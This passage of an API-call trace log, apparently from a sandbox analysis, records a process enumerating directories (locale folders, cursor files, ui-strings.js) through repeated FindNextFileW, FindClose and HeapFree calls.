hHeap=0x420000) returned 1 [0201.369] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fda30 | out: lpFindFileData=0x34fda30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0201.369] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0201.369] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0201.369] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0201.369] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0201.369] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.369] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="check.cur", cAlternateFileName="")) returned 1 [0201.371] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0201.371] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f5618, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x26f5618, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2767d0d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0201.372] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0201.372] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.372] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="x.cur", cAlternateFileName="")) returned 1 [0201.372] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0201.373] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 0 [0201.373] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0201.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.373] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0201.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.379] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0201.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.380] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0201.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.382] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0201.411] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.411] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0201.412] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.412] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0201.413] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.413] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0201.414] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.414] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0201.414] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.414] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0201.415] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.415] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0201.416] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.416] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0201.416] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.416] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0201.416] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.416] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0201.417] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.417] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0201.417] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.417] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0201.417] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.417] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0201.453] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.453] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0201.478] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.478] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0201.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.479] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0201.480] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.480] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0201.481] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.481] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0201.481] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.481] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0201.482] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.482] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0201.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.483] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0201.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.483] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0201.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.484] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0201.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.484] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0201.485] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.485] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0201.485] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.485] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0201.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.486] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0201.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.486] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0201.487] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.487] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0201.487] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.487] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0201.488] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.488] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, 